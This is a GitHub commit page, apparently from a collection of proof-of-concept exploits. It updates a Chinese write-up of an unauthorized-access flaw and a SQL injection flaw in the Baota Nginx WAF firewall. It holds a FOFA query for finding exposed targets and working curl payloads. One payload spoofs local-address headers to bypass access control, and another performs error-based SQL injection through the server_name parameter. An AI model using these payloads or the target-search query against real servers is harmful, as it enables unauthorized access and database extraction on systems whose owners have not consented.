Update 宝塔最新未授权访问漏洞及sql注入.md

This commit is contained in:
wy876 2024-04-02 14:21:26 +08:00 committed by GitHub
parent 74e6a5e983
commit e310ff5e42
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -2,6 +2,13 @@
WAF 防火墙 (宝塔 Nginx 防火墙) 存在 SQL 注入漏洞和未授权漏洞 WAF 防火墙 (宝塔 Nginx 防火墙) 存在 SQL 注入漏洞和未授权漏洞
## fofa
```
title=='404 - Website not exist!'
"宝塔"
```
## 未授权 ## 未授权
漏洞代码 漏洞代码
@ -53,9 +60,12 @@ curl 'http://btwaf-demo.bt.cn/get_site_status?server_name=bt.cn' -H 'X-Forwarde
``` ```
## sql注入 ## sql注入
``` ```
curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,database()))-'" -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251' curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,database()))-'" -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
``` ```
![image](https://github.com/wy876/POC/assets/139549762/bbd89fb6-b9b7-4628-a33d-57fc7b8708e5)
## 漏洞来源 ## 漏洞来源
- https://mp.weixin.qq.com/s/7AqKcCS9puZgb9lG2KcAsg - https://mp.weixin.qq.com/s/7AqKcCS9puZgb9lG2KcAsg